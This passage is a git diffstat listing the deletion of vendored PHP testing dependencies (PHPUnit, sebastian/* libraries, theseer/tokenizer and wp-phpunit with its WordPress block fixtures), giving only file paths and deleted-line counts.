.../src/Framework/Constraint/Type/IsNull.php | 35 - .../src/Framework/Constraint/Type/IsType.php | 211 -- .../src/Framework/DataProviderTestSuite.php | 76 - .../src/Framework/Error/Deprecated.php | 17 - .../phpunit/src/Framework/Error/Error.php | 26 - .../phpunit/src/Framework/Error/Notice.php | 17 - .../phpunit/src/Framework/Error/Warning.php | 17 - .../phpunit/src/Framework/ErrorTestCase.php | 66 - .../ActualValueIsNotAnObjectException.php | 32 - .../Exception/AssertionFailedError.php | 24 - .../Exception/CodeCoverageException.php | 17 - ...hodDoesNotAcceptParameterTypeException.php | 38 - ...dDoesNotDeclareBoolReturnTypeException.php | 37 - ...NotDeclareExactlyOneParameterException.php | 37 - ...odDoesNotDeclareParameterTypeException.php | 37 - .../ComparisonMethodDoesNotExistException.php | 37 - .../CoveredCodeNotExecutedException.php | 17 - .../phpunit/src/Framework/Exception/Error.php | 24 - .../src/Framework/Exception/Exception.php | 81 - .../Exception/ExpectationFailedException.php | 42 - .../Exception/IncompleteTestError.php | 17 - .../Exception/InvalidArgumentException.php | 46 - .../InvalidCoversTargetException.php | 17 - .../InvalidDataProviderException.php | 17 - .../MissingCoversAnnotationException.php | 17 - .../Exception/NoChildTestSuiteException.php | 17 - .../src/Framework/Exception/OutputError.php | 17 - .../Exception/PHPTAssertionFailedError.php | 32 - .../Framework/Exception/RiskyTestError.php | 17 - .../Framework/Exception/SkippedTestError.php | 17 - .../Exception/SkippedTestSuiteError.php | 17 - .../Framework/Exception/SyntheticError.php | 61 - .../Exception/SyntheticSkippedError.php | 17 - .../UnintentionallyCoveredCodeError.php | 17 - .../src/Framework/Exception/Warning.php | 24 - .../src/Framework/ExceptionWrapper.php | 138 - .../Framework/ExecutionOrderDependency.php | 206 -- .../phpunit/src/Framework/IncompleteTest.php | 19 - .../src/Framework/IncompleteTestCase.php | 68 - .../InvalidParameterGroupException.php | 17 - .../src/Framework/MockObject/Api/Api.php | 97 - .../src/Framework/MockObject/Api/Method.php | 30 - .../Framework/MockObject/Builder/Identity.php | 25 - .../MockObject/Builder/InvocationMocker.php | 309 -- .../MockObject/Builder/InvocationStubber.php | 65 - .../MockObject/Builder/MethodNameMatch.php | 28 - .../MockObject/Builder/ParametersMatch.php | 58 - .../src/Framework/MockObject/Builder/Stub.php | 24 - .../MockObject/ConfigurableMethod.php | 53 - .../Exception/BadMethodCallException.php | 17 - .../CannotUseAddMethodsException.php | 29 - .../CannotUseOnlyMethodsException.php | 29 - .../Exception/ClassAlreadyExistsException.php | 28 - .../Exception/ClassIsFinalException.php | 28 - .../Exception/ClassIsReadonlyException.php | 28 - ...ableMethodsAlreadyInitializedException.php | 17 - .../Exception/DuplicateMethodException.php | 35 - .../MockObject/Exception/Exception.php | 19 - .../IncompatibleReturnValueException.php | 36 - .../Exception/InvalidMethodNameException.php | 28 - .../MatchBuilderNotFoundException.php | 28 - .../MatcherAlreadyRegisteredException.php | 28 - .../MethodCannotBeConfiguredException.php | 28 - .../MethodNameAlreadyConfiguredException.php | 21 - .../MethodNameNotConfiguredException.php | 21 - ...odParametersAlreadyConfiguredException.php | 21 - ...ConstructorInvocationRequiredException.php | 21 - .../Exception/ReflectionException.php | 19 - .../ReturnValueNotConfiguredException.php | 29 - .../MockObject/Exception/RuntimeException.php | 17 - .../SoapExtensionNotAvailableException.php | 23 - .../Exception/UnknownClassException.php | 28 - .../Exception/UnknownTraitException.php | 28 - .../Exception/UnknownTypeException.php | 28 - .../src/Framework/MockObject/Generator.php | 1160 ------- .../MockObject/Generator/deprecation.tpl | 2 - .../MockObject/Generator/intersection.tpl | 5 - .../MockObject/Generator/mocked_class.tpl | 6 - .../MockObject/Generator/mocked_method.tpl | 22 - .../Generator/mocked_method_never_or_void.tpl | 20 - .../Generator/mocked_static_method.tpl | 5 - .../MockObject/Generator/proxied_method.tpl | 22 - .../proxied_method_never_or_void.tpl | 22 - .../MockObject/Generator/trait_class.tpl | 6 - .../MockObject/Generator/wsdl_class.tpl | 9 - .../MockObject/Generator/wsdl_method.tpl | 4 - .../src/Framework/MockObject/Invocation.php | 301 -- .../MockObject/InvocationHandler.php | 186 - .../src/Framework/MockObject/Matcher.php | 275 -- .../MockObject/MethodNameConstraint.php | 48 - .../src/Framework/MockObject/MockBuilder.php | 519 --- .../src/Framework/MockObject/MockClass.php | 69 - .../src/Framework/MockObject/MockMethod.php | 380 -- .../Framework/MockObject/MockMethodSet.php | 45 - .../src/Framework/MockObject/MockObject.php | 27 - .../src/Framework/MockObject/MockTrait.php | 54 - .../src/Framework/MockObject/MockType.php | 21 - .../MockObject/Rule/AnyInvokedCount.php | 36 - .../MockObject/Rule/AnyParameters.php | 31 - .../MockObject/Rule/ConsecutiveParameters.php | 134 - .../MockObject/Rule/InvocationOrder.php | 47 - .../MockObject/Rule/InvokedAtIndex.php | 76 - .../MockObject/Rule/InvokedAtLeastCount.php | 64 - .../MockObject/Rule/InvokedAtLeastOnce.php | 50 - .../MockObject/Rule/InvokedAtMostCount.php | 64 - .../MockObject/Rule/InvokedCount.php | 102 - .../Framework/MockObject/Rule/MethodName.php | 69 - .../Framework/MockObject/Rule/Parameters.php | 161 - .../MockObject/Rule/ParametersRule.php | 28 - .../phpunit/src/Framework/MockObject/Stub.php | 26 - .../MockObject/Stub/ConsecutiveCalls.php | 57 - .../Framework/MockObject/Stub/Exception.php | 46 - .../MockObject/Stub/ReturnArgument.php | 41 - .../MockObject/Stub/ReturnCallback.php | 59 - .../MockObject/Stub/ReturnReference.php | 45 - .../Framework/MockObject/Stub/ReturnSelf.php | 32 - .../Framework/MockObject/Stub/ReturnStub.php | 45 - .../MockObject/Stub/ReturnValueMap.php | 53 - .../src/Framework/MockObject/Stub/Stub.php | 27 - .../src/Framework/MockObject/Verifiable.php | 26 - .../phpunit/src/Framework/Reorderable.php | 28 - .../phpunit/src/Framework/SelfDescribing.php | 21 - .../phpunit/src/Framework/SkippedTest.php | 19 - .../phpunit/src/Framework/SkippedTestCase.php | 68 - .../phpunit/phpunit/src/Framework/Test.php | 23 - .../phpunit/src/Framework/TestBuilder.php | 239 -- .../phpunit/src/Framework/TestCase.php | 2678 -------------- .../phpunit/src/Framework/TestFailure.php | 155 - .../phpunit/src/Framework/TestListener.php | 45 - .../TestListenerDefaultImplementation.php | 60 - .../phpunit/src/Framework/TestResult.php | 1324 ------- .../phpunit/src/Framework/TestSuite.php | 922 ----- .../src/Framework/TestSuiteIterator.php | 85 - .../phpunit/src/Framework/WarningTestCase.php | 66 - .../phpunit/src/Runner/BaseTestRunner.php | 161 - .../src/Runner/DefaultTestResultCache.php | 158 - .../phpunit/phpunit/src/Runner/Exception.php | 19 - .../src/Runner/Extension/ExtensionHandler.php | 118 - .../src/Runner/Extension/PharLoader.php | 98 - .../Filter/ExcludeGroupFilterIterator.php | 23 - .../phpunit/src/Runner/Filter/Factory.php | 61 - .../src/Runner/Filter/GroupFilterIterator.php | 58 - .../Filter/IncludeGroupFilterIterator.php | 23 - .../src/Runner/Filter/NameFilterIterator.php | 138 - .../Runner/Hook/AfterIncompleteTestHook.php | 24 - .../src/Runner/Hook/AfterLastTestHook.php | 24 - .../src/Runner/Hook/AfterRiskyTestHook.php | 24 - .../src/Runner/Hook/AfterSkippedTestHook.php | 24 - .../Runner/Hook/AfterSuccessfulTestHook.php | 24 - .../src/Runner/Hook/AfterTestErrorHook.php | 24 - .../src/Runner/Hook/AfterTestFailureHook.php | 24 - .../phpunit/src/Runner/Hook/AfterTestHook.php | 30 - .../src/Runner/Hook/AfterTestWarningHook.php | 24 - .../src/Runner/Hook/BeforeFirstTestHook.php | 24 - .../src/Runner/Hook/BeforeTestHook.php | 24 - .../phpunit/phpunit/src/Runner/Hook/Hook.php | 23 - .../phpunit/src/Runner/Hook/TestHook.php | 23 - .../src/Runner/Hook/TestListenerAdapter.php | 141 - .../src/Runner/NullTestResultCache.php | 42 - .../phpunit/src/Runner/PhptTestCase.php | 866 ----- .../src/Runner/ResultCacheExtension.php | 110 - .../src/Runner/StandardTestSuiteLoader.php | 152 - .../phpunit/src/Runner/TestResultCache.php | 28 - .../phpunit/src/Runner/TestSuiteLoader.php | 24 - .../phpunit/src/Runner/TestSuiteSorter.php | 395 --- .../phpunit/phpunit/src/Runner/Version.php | 76 - .../src/TextUI/CliArguments/Builder.php | 886 ----- .../src/TextUI/CliArguments/Configuration.php | 2108 ----------- .../src/TextUI/CliArguments/Exception.php | 19 - .../src/TextUI/CliArguments/Mapper.php | 365 -- .../phpunit/phpunit/src/TextUI/Command.php | 1042 ------ .../src/TextUI/DefaultResultPrinter.php | 585 ---- .../src/TextUI/Exception/Exception.php | 19 - .../TextUI/Exception/ReflectionException.php | 19 - .../src/TextUI/Exception/RuntimeException.php | 17 - .../TestDirectoryNotFoundException.php | 29 - .../Exception/TestFileNotFoundException.php | 29 - .../phpunit/phpunit/src/TextUI/Help.php | 281 -- .../phpunit/src/TextUI/ResultPrinter.php | 23 - .../phpunit/phpunit/src/TextUI/TestRunner.php | 1262 ------- .../phpunit/src/TextUI/TestSuiteMapper.php | 103 - .../CodeCoverage/CodeCoverage.php | 363 -- .../CodeCoverage/Filter/Directory.php | 66 - .../Filter/DirectoryCollection.php | 60 - .../Filter/DirectoryCollectionIterator.php | 68 - .../CodeCoverage/FilterMapper.php | 45 - .../CodeCoverage/Report/Clover.php | 35 - .../CodeCoverage/Report/Cobertura.php | 35 - .../CodeCoverage/Report/Crap4j.php | 46 - .../CodeCoverage/Report/Html.php | 57 - .../CodeCoverage/Report/Php.php | 35 - .../CodeCoverage/Report/Text.php | 57 - .../CodeCoverage/Report/Xml.php | 35 - .../TextUI/XmlConfiguration/Configuration.php | 152 - .../src/TextUI/XmlConfiguration/Exception.php | 19 - .../XmlConfiguration/Filesystem/Directory.php | 33 - .../Filesystem/DirectoryCollection.php | 65 - .../DirectoryCollectionIterator.php | 68 - .../XmlConfiguration/Filesystem/File.php | 33 - .../Filesystem/FileCollection.php | 65 - .../Filesystem/FileCollectionIterator.php | 68 - .../src/TextUI/XmlConfiguration/Generator.php | 73 - .../TextUI/XmlConfiguration/Group/Group.php | 33 - .../Group/GroupCollection.php | 72 - .../Group/GroupCollectionIterator.php | 68 - .../TextUI/XmlConfiguration/Group/Groups.php | 54 - .../src/TextUI/XmlConfiguration/Loader.php | 1274 ------- .../TextUI/XmlConfiguration/Logging/Junit.php | 35 - .../XmlConfiguration/Logging/Logging.php | 147 - .../XmlConfiguration/Logging/TeamCity.php | 35 - .../XmlConfiguration/Logging/TestDox/Html.php | 35 - .../XmlConfiguration/Logging/TestDox/Text.php | 35 - .../XmlConfiguration/Logging/TestDox/Xml.php | 35 - .../TextUI/XmlConfiguration/Logging/Text.php | 35 - .../Migration/MigrationBuilder.php | 62 - .../Migration/MigrationBuilderException.php | 20 - .../Migration/MigrationException.php | 20 - .../Migration/Migrations/ConvertLogTypes.php | 53 - .../Migrations/CoverageCloverToReport.php | 31 - .../Migrations/CoverageCrap4jToReport.php | 33 - .../Migrations/CoverageHtmlToReport.php | 33 - .../Migrations/CoveragePhpToReport.php | 31 - .../Migrations/CoverageTextToReport.php | 33 - .../Migrations/CoverageXmlToReport.php | 31 - .../Migrations/IntroduceCoverageElement.php | 28 - .../Migrations/LogToReportMigration.php | 79 - .../Migration/Migrations/Migration.php | 20 - ...ttributesFromFilterWhitelistToCoverage.php | 51 - .../MoveAttributesFromRootToCoverage.php | 47 - .../MoveWhitelistExcludesToCoverage.php | 72 - .../MoveWhitelistIncludesToCoverage.php | 53 - .../Migrations/RemoveCacheTokensAttribute.php | 27 - .../Migrations/RemoveEmptyFilter.php | 54 - .../Migration/Migrations/RemoveLogTypes.php | 40 - .../Migrations/UpdateSchemaLocationTo93.php | 27 - .../XmlConfiguration/Migration/Migrator.php | 57 - .../TextUI/XmlConfiguration/PHP/Constant.php | 44 - .../PHP/ConstantCollection.php | 60 - .../PHP/ConstantCollectionIterator.php | 68 - .../XmlConfiguration/PHP/IniSetting.php | 44 - .../PHP/IniSettingCollection.php | 60 - .../PHP/IniSettingCollectionIterator.php | 68 - .../src/TextUI/XmlConfiguration/PHP/Php.php | 143 - .../XmlConfiguration/PHP/PhpHandler.php | 121 - .../TextUI/XmlConfiguration/PHP/Variable.php | 55 - .../PHP/VariableCollection.php | 60 - .../PHP/VariableCollectionIterator.php | 68 - .../XmlConfiguration/PHPUnit/Extension.php | 73 - .../PHPUnit/ExtensionCollection.php | 53 - .../PHPUnit/ExtensionCollectionIterator.php | 68 - .../XmlConfiguration/PHPUnit/PHPUnit.php | 715 ---- .../TestSuite/TestDirectory.php | 79 - .../TestSuite/TestDirectoryCollection.php | 65 - .../TestDirectoryCollectionIterator.php | 68 - .../XmlConfiguration/TestSuite/TestFile.php | 57 - .../TestSuite/TestFileCollection.php | 65 - .../TestSuite/TestFileCollectionIterator.php | 68 - .../XmlConfiguration/TestSuite/TestSuite.php | 66 - .../TestSuite/TestSuiteCollection.php | 65 - .../TestSuite/TestSuiteCollectionIterator.php | 68 - .../phpunit/src/Util/Annotation/DocBlock.php | 546 --- .../phpunit/src/Util/Annotation/Registry.php | 95 - .../phpunit/phpunit/src/Util/Blacklist.php | 41 - .../phpunit/phpunit/src/Util/Cloner.php | 34 - .../vendor/phpunit/phpunit/src/Util/Color.php | 159 - .../phpunit/phpunit/src/Util/ErrorHandler.php | 165 - .../phpunit/phpunit/src/Util/Exception.php | 19 - .../phpunit/phpunit/src/Util/ExcludeList.php | 240 -- .../phpunit/phpunit/src/Util/FileLoader.php | 84 - .../phpunit/phpunit/src/Util/Filesystem.php | 41 - .../phpunit/phpunit/src/Util/Filter.php | 115 - .../phpunit/phpunit/src/Util/GlobalState.php | 287 -- .../src/Util/InvalidDataSetException.php | 20 - .../vendor/phpunit/phpunit/src/Util/Json.php | 98 - .../phpunit/phpunit/src/Util/Log/JUnit.php | 424 --- .../phpunit/phpunit/src/Util/Log/TeamCity.php | 384 -- .../src/Util/PHP/AbstractPhpProcess.php | 427 --- .../src/Util/PHP/DefaultPhpProcess.php | 236 -- .../src/Util/PHP/Template/PhptTestCase.tpl | 57 - .../src/Util/PHP/Template/TestCaseClass.tpl | 123 - .../src/Util/PHP/Template/TestCaseMethod.tpl | 126 - .../src/Util/PHP/WindowsPhpProcess.php | 52 - .../phpunit/phpunit/src/Util/Printer.php | 116 - .../phpunit/phpunit/src/Util/Reflection.php | 63 - .../phpunit/src/Util/RegularExpression.php | 31 - .../vendor/phpunit/phpunit/src/Util/Test.php | 784 ----- .../src/Util/TestDox/CliTestDoxPrinter.php | 384 -- .../src/Util/TestDox/HtmlResultPrinter.php | 159 - .../src/Util/TestDox/NamePrettifier.php | 313 -- .../src/Util/TestDox/ResultPrinter.php | 345 -- .../src/Util/TestDox/TestDoxPrinter.php | 392 --- .../src/Util/TestDox/TextResultPrinter.php | 52 - .../src/Util/TestDox/XmlResultPrinter.php | 262 -- .../phpunit/src/Util/TextTestListRenderer.php | 55 - .../vendor/phpunit/phpunit/src/Util/Type.php | 39 - .../src/Util/VersionComparisonOperator.php | 58 - .../src/Util/XdebugFilterScriptGenerator.php | 81 - .../vendor/phpunit/phpunit/src/Util/Xml.php | 193 -- .../phpunit/src/Util/Xml/Exception.php | 19 - .../Util/Xml/FailedSchemaDetectionResult.php | 19 - .../phpunit/phpunit/src/Util/Xml/Loader.php | 117 - .../src/Util/Xml/SchemaDetectionResult.php | 34 - .../phpunit/src/Util/Xml/SchemaDetector.php | 41 - .../phpunit/src/Util/Xml/SchemaFinder.php | 80 - .../phpunit/src/Util/Xml/SnapshotNodeList.php | 51 - .../Xml/SuccessfulSchemaDetectionResult.php | 47 - .../phpunit/src/Util/Xml/ValidationResult.php | 70 - .../phpunit/src/Util/Xml/Validator.php | 35 - .../phpunit/src/Util/XmlTestListRenderer.php | 92 - .../vendor/sebastian/cli-parser/ChangeLog.md | 23 - .../vendor/sebastian/cli-parser/LICENSE | 33 - .../vendor/sebastian/cli-parser/README.md | 17 - .../vendor/sebastian/cli-parser/composer.json | 41 - .../sebastian/cli-parser/infection.json | 12 - .../sebastian/cli-parser/src/Parser.php | 204 -- .../exceptions/AmbiguousOptionException.php | 26 - .../cli-parser/src/exceptions/Exception.php | 16 - .../OptionDoesNotAllowArgumentException.php | 26 - ...RequiredOptionArgumentMissingException.php | 26 - .../src/exceptions/UnknownOptionException.php | 26 - .../code-unit-reverse-lookup/ChangeLog.md | 38 - .../code-unit-reverse-lookup/LICENSE | 33 - .../code-unit-reverse-lookup/README.md | 20 - .../code-unit-reverse-lookup/composer.json | 36 - .../code-unit-reverse-lookup/src/Wizard.php | 125 - .../sebastian/code-unit/.psalm/baseline.xml | 23 - .../sebastian/code-unit/.psalm/config.xml | 16 - .../vendor/sebastian/code-unit/ChangeLog.md | 65 - .../vendor/sebastian/code-unit/LICENSE | 33 - .../vendor/sebastian/code-unit/README.md | 17 - .../vendor/sebastian/code-unit/composer.json | 50 - .../code-unit/src/ClassMethodUnit.php | 24 - .../sebastian/code-unit/src/ClassUnit.php | 24 - .../sebastian/code-unit/src/CodeUnit.php | 445 --- .../code-unit/src/CodeUnitCollection.php | 84 - .../src/CodeUnitCollectionIterator.php | 55 - .../sebastian/code-unit/src/FunctionUnit.php | 24 - .../code-unit/src/InterfaceMethodUnit.php | 24 - .../sebastian/code-unit/src/InterfaceUnit.php | 24 - .../vendor/sebastian/code-unit/src/Mapper.php | 414 --- .../code-unit/src/TraitMethodUnit.php | 24 - .../sebastian/code-unit/src/TraitUnit.php | 24 - .../code-unit/src/exceptions/Exception.php | 16 - .../exceptions/InvalidCodeUnitException.php | 16 - .../src/exceptions/NoTraitException.php | 16 - .../src/exceptions/ReflectionException.php | 16 - .../vendor/sebastian/comparator/ChangeLog.md | 143 - .../vendor/sebastian/comparator/LICENSE | 33 - .../vendor/sebastian/comparator/README.md | 41 - .../vendor/sebastian/comparator/composer.json | 57 - .../comparator/src/ArrayComparator.php | 141 - .../sebastian/comparator/src/Comparator.php | 61 - .../comparator/src/ComparisonFailure.php | 129 - .../comparator/src/DOMNodeComparator.php | 93 - .../comparator/src/DateTimeComparator.php | 95 - .../comparator/src/DoubleComparator.php | 61 - .../comparator/src/ExceptionComparator.php | 54 - .../sebastian/comparator/src/Factory.php | 141 - .../comparator/src/MockObjectComparator.php | 48 - .../comparator/src/NumericComparator.php | 84 - .../comparator/src/ObjectComparator.php | 112 - .../comparator/src/ResourceComparator.php | 54 - .../comparator/src/ScalarComparator.php | 99 - .../src/SplObjectStorageComparator.php | 71 - .../comparator/src/TypeComparator.php | 62 - .../comparator/src/exceptions/Exception.php | 16 - .../src/exceptions/RuntimeException.php | 14 - .../sebastian/complexity/.psalm/baseline.xml | 2 - .../sebastian/complexity/.psalm/config.xml | 16 - .../vendor/sebastian/complexity/ChangeLog.md | 37 - .../vendor/sebastian/complexity/LICENSE | 33 - .../vendor/sebastian/complexity/README.md | 22 - .../vendor/sebastian/complexity/composer.json | 42 - .../sebastian/complexity/src/Calculator.php | 81 - .../complexity/src/Complexity/Complexity.php | 42 - .../src/Complexity/ComplexityCollection.php | 72 - .../ComplexityCollectionIterator.php | 55 - .../complexity/src/Exception/Exception.php | 16 - .../src/Exception/RuntimeException.php | 14 - .../Visitor/ComplexityCalculatingVisitor.php | 109 - ...CyclomaticComplexityCalculatingVisitor.php | 59 - .../vendor/sebastian/diff/ChangeLog.md | 103 - .../vendor/sebastian/diff/LICENSE | 33 - .../vendor/sebastian/diff/README.md | 202 -- .../vendor/sebastian/diff/composer.json | 47 - .../vendor/sebastian/diff/src/Chunk.php | 89 - .../vendor/sebastian/diff/src/Diff.php | 64 - .../vendor/sebastian/diff/src/Differ.php | 327 -- .../src/Exception/ConfigurationException.php | 38 - .../diff/src/Exception/Exception.php | 16 - .../Exception/InvalidArgumentException.php | 14 - .../vendor/sebastian/diff/src/Line.php | 45 - .../LongestCommonSubsequenceCalculator.php | 18 - ...ientLongestCommonSubsequenceCalculator.php | 93 - .../src/Output/AbstractChunkOutputBuilder.php | 52 - .../diff/src/Output/DiffOnlyOutputBuilder.php | 72 - .../src/Output/DiffOutputBuilderInterface.php | 19 - .../Output/StrictUnifiedDiffOutputBuilder.php | 338 -- .../src/Output/UnifiedDiffOutputBuilder.php | 272 -- .../vendor/sebastian/diff/src/Parser.php | 110 - ...ientLongestCommonSubsequenceCalculator.php | 82 - .../vendor/sebastian/environment/ChangeLog.md | 183 - .../vendor/sebastian/environment/LICENSE | 33 - .../vendor/sebastian/environment/README.md | 21 - .../sebastian/environment/composer.json | 40 - .../sebastian/environment/src/Console.php | 187 - .../environment/src/OperatingSystem.php | 53 - .../sebastian/environment/src/Runtime.php | 321 -- .../vendor/sebastian/exporter/ChangeLog.md | 85 - .../vendor/sebastian/exporter/LICENSE | 33 - .../vendor/sebastian/exporter/README.md | 174 - .../vendor/sebastian/exporter/composer.json | 56 - .../sebastian/exporter/src/Exporter.php | 346 -- .../sebastian/global-state/ChangeLog.md | 93 - .../vendor/sebastian/global-state/LICENSE | 33 - .../vendor/sebastian/global-state/README.md | 20 - .../sebastian/global-state/composer.json | 51 - .../global-state/src/CodeExporter.php | 109 - .../global-state/src/ExcludeList.php | 119 - .../sebastian/global-state/src/Restorer.php | 143 - .../sebastian/global-state/src/Snapshot.php | 443 --- .../global-state/src/exceptions/Exception.php | 16 - .../src/exceptions/RuntimeException.php | 14 - .../lines-of-code/.psalm/baseline.xml | 2 - .../sebastian/lines-of-code/.psalm/config.xml | 16 - .../sebastian/lines-of-code/ChangeLog.md | 41 - .../vendor/sebastian/lines-of-code/LICENSE | 33 - .../vendor/sebastian/lines-of-code/README.md | 22 - .../sebastian/lines-of-code/composer.json | 42 - .../sebastian/lines-of-code/src/Counter.php | 84 - .../lines-of-code/src/Exception/Exception.php | 16 - .../Exception/IllogicalValuesException.php | 16 - .../src/Exception/NegativeValueException.php | 16 - .../src/Exception/RuntimeException.php | 14 - .../lines-of-code/src/LineCountingVisitor.php | 82 - .../lines-of-code/src/LinesOfCode.php | 98 - .../object-enumerator/.psalm/baseline.xml | 9 - .../object-enumerator/.psalm/config.xml | 16 - .../sebastian/object-enumerator/ChangeLog.md | 88 - .../sebastian/object-enumerator/LICENSE | 33 - .../sebastian/object-enumerator/README.md | 20 - .../sebastian/object-enumerator/composer.json | 43 - .../sebastian/object-enumerator/phpunit.xml | 24 - .../object-enumerator/src/Enumerator.php | 88 - .../object-enumerator/src/Exception.php | 16 - .../src/InvalidArgumentException.php | 14 - .../object-reflector/.psalm/baseline.xml | 8 - .../object-reflector/.psalm/config.xml | 16 - .../sebastian/object-reflector/ChangeLog.md | 55 - .../vendor/sebastian/object-reflector/LICENSE | 33 - .../sebastian/object-reflector/README.md | 20 - .../sebastian/object-reflector/composer.json | 41 - .../object-reflector/src/Exception.php | 16 - .../src/InvalidArgumentException.php | 14 - .../object-reflector/src/ObjectReflector.php | 51 - .../sebastian/recursion-context/ChangeLog.md | 40 - .../sebastian/recursion-context/LICENSE | 33 - .../sebastian/recursion-context/README.md | 18 - .../sebastian/recursion-context/composer.json | 44 - .../recursion-context/src/Context.php | 191 - .../recursion-context/src/Exception.php | 16 - .../src/InvalidArgumentException.php | 14 - .../resource-operations/ChangeLog.md | 59 - .../sebastian/resource-operations/LICENSE | 33 - .../sebastian/resource-operations/README.md | 14 - .../sebastian/resource-operations/SECURITY.md | 30 - .../resource-operations/build/generate.php | 65 - .../resource-operations/composer.json | 38 - .../src/ResourceOperations.php | 2232 ------------ .../vendor/sebastian/type/ChangeLog.md | 169 - .../vendor/sebastian/type/LICENSE | 33 - .../vendor/sebastian/type/README.md | 20 - .../vendor/sebastian/type/composer.json | 50 - .../vendor/sebastian/type/src/Parameter.php | 42 - .../sebastian/type/src/ReflectionMapper.php | 184 - .../vendor/sebastian/type/src/TypeName.php | 83 - .../type/src/exception/Exception.php | 16 - .../type/src/exception/RuntimeException.php | 14 - .../sebastian/type/src/type/CallableType.php | 212 -- .../sebastian/type/src/type/FalseType.php | 42 - .../type/src/type/GenericObjectType.php | 54 - .../type/src/type/IntersectionType.php | 126 - .../sebastian/type/src/type/IterableType.php | 84 - .../sebastian/type/src/type/MixedType.php | 41 - .../sebastian/type/src/type/NeverType.php | 36 - .../sebastian/type/src/type/NullType.php | 41 - .../sebastian/type/src/type/ObjectType.php | 74 - .../sebastian/type/src/type/SimpleType.php | 104 - .../sebastian/type/src/type/StaticType.php | 68 - .../sebastian/type/src/type/TrueType.php | 42 - .../vendor/sebastian/type/src/type/Type.php | 226 -- .../sebastian/type/src/type/UnionType.php | 138 - .../sebastian/type/src/type/UnknownType.php | 41 - .../sebastian/type/src/type/VoidType.php | 36 - .../vendor/sebastian/version/.gitattributes | 4 - .../vendor/sebastian/version/.gitignore | 2 - .../vendor/sebastian/version/ChangeLog.md | 25 - .../vendor/sebastian/version/LICENSE | 33 - .../vendor/sebastian/version/README.md | 43 - .../vendor/sebastian/version/composer.json | 37 - .../vendor/sebastian/version/src/Version.php | 97 - .../vendor/theseer/tokenizer/CHANGELOG.md | 87 - .../vendor/theseer/tokenizer/LICENSE | 30 - .../vendor/theseer/tokenizer/README.md | 47 - .../vendor/theseer/tokenizer/composer.json | 27 - .../vendor/theseer/tokenizer/composer.lock | 22 - .../theseer/tokenizer/src/Exception.php | 5 - .../theseer/tokenizer/src/NamespaceUri.php | 25 - .../tokenizer/src/NamespaceUriException.php | 5 - .../vendor/theseer/tokenizer/src/Token.php | 35 - .../theseer/tokenizer/src/TokenCollection.php | 93 - .../src/TokenCollectionException.php | 5 - .../theseer/tokenizer/src/Tokenizer.php | 147 - .../theseer/tokenizer/src/XMLSerializer.php | 79 - .../vendor/wp-phpunit/wp-phpunit/README.md | 11 - .../vendor/wp-phpunit/wp-phpunit/__loaded.php | 8 - .../wp-phpunit/wp-phpunit/composer.json | 30 - .../WPHTTP-testcase-redirection-script.php | 139 - .../data/blocks/do-blocks-expected.html | 22 - .../data/blocks/do-blocks-original.html | 25 - .../core__4-invalid-starting-letter.html | 1 - .../core__4-invalid-starting-letter.json | 12 - ...ore__4-invalid-starting-letter.parsed.json | 11 - ..._4-invalid-starting-letter.serialized.html | 1 - ...ore__4-invalid-starting-letter.server.html | 1 - .../data/blocks/fixtures/core__archives.html | 1 - .../data/blocks/fixtures/core__archives.json | 13 - .../fixtures/core__archives.parsed.json | 12 - .../fixtures/core__archives.serialized.html | 1 - .../fixtures/core__archives.server.html | 1 - .../core__archives__showPostCounts.html | 1 - .../core__archives__showPostCounts.json | 13 - ...core__archives__showPostCounts.parsed.json | 12 - ...__archives__showPostCounts.serialized.html | 1 - ...core__archives__showPostCounts.server.html | 1 - .../data/blocks/fixtures/core__audio.html | 5 - .../data/blocks/fixtures/core__audio.json | 16 - .../blocks/fixtures/core__audio.parsed.json | 18 - .../fixtures/core__audio.serialized.html | 3 - .../blocks/fixtures/core__audio.server.html | 5 - .../data/blocks/fixtures/core__block.html | 1 - .../data/blocks/fixtures/core__block.json | 12 - .../blocks/fixtures/core__block.parsed.json | 18 - .../fixtures/core__block.serialized.html | 1 - .../blocks/fixtures/core__block.server.html | 1 - .../blocks/fixtures/core__button__center.html | 3 - .../blocks/fixtures/core__button__center.json | 14 - .../fixtures/core__button__center.parsed.json | 18 - .../core__button__center.serialized.html | 3 - .../fixtures/core__button__center.server.html | 3 - .../blocks/fixtures/core__categories.html | 1 - .../blocks/fixtures/core__categories.json | 14 - .../fixtures/core__categories.parsed.json | 20 - .../fixtures/core__categories.serialized.html | 1 - .../fixtures/core__categories.server.html | 1 - .../data/blocks/fixtures/core__code.html | 5 - .../data/blocks/fixtures/core__code.json | 12 - .../blocks/fixtures/core__code.parsed.json | 16 - .../fixtures/core__code.serialized.html | 5 - .../blocks/fixtures/core__code.server.html | 5 - .../data/blocks/fixtures/core__column.html | 10 - .../data/blocks/fixtures/core__column.json | 33 - .../blocks/fixtures/core__column.parsed.json | 31 - .../fixtures/core__column.serialized.html | 9 - .../blocks/fixtures/core__column.server.html | 10 - .../data/blocks/fixtures/core__columns.html | 24 - .../data/blocks/fixtures/core__columns.json | 75 - .../blocks/fixtures/core__columns.parsed.json | 91 - .../fixtures/core__columns.serialized.html | 21 - .../blocks/fixtures/core__columns.server.html | 24 - .../fixtures/core__columns__deprecated.html | 16 - .../fixtures/core__columns__deprecated.json | 85 - .../core__columns__deprecated.parsed.json | 75 - .../core__columns__deprecated.serialized.html | 23 - .../core__columns__deprecated.server.html | 16 - .../blocks/fixtures/core__cover-image.html | 5 - .../blocks/fixtures/core__cover-image.json | 16 - .../fixtures/core__cover-image.parsed.json | 23 - .../core__cover-image.serialized.html | 3 - .../fixtures/core__cover-image.server.html | 5 - .../data/blocks/fixtures/core__cover.html | 5 - .../data/blocks/fixtures/core__cover.json | 17 - .../blocks/fixtures/core__cover.parsed.json | 23 - .../fixtures/core__cover.serialized.html | 3 - .../blocks/fixtures/core__cover.server.html | 5 - .../fixtures/core__cover__video-overlay.html | 6 - .../fixtures/core__cover__video-overlay.json | 18 - .../core__cover__video-overlay.parsed.json | 25 - ...core__cover__video-overlay.serialized.html | 3 - .../core__cover__video-overlay.server.html | 6 - .../blocks/fixtures/core__cover__video.html | 6 - .../blocks/fixtures/core__cover__video.json | 17 - .../fixtures/core__cover__video.parsed.json | 24 - .../core__cover__video.serialized.html | 3 - .../fixtures/core__cover__video.server.html | 6 - .../data/blocks/fixtures/core__embed.html | 8 - .../data/blocks/fixtures/core__embed.json | 14 - .../blocks/fixtures/core__embed.parsed.json | 22 - .../fixtures/core__embed.serialized.html | 5 - .../blocks/fixtures/core__embed.server.html | 8 - .../fixtures/core__file__new-window.html | 3 - .../fixtures/core__file__new-window.json | 18 - 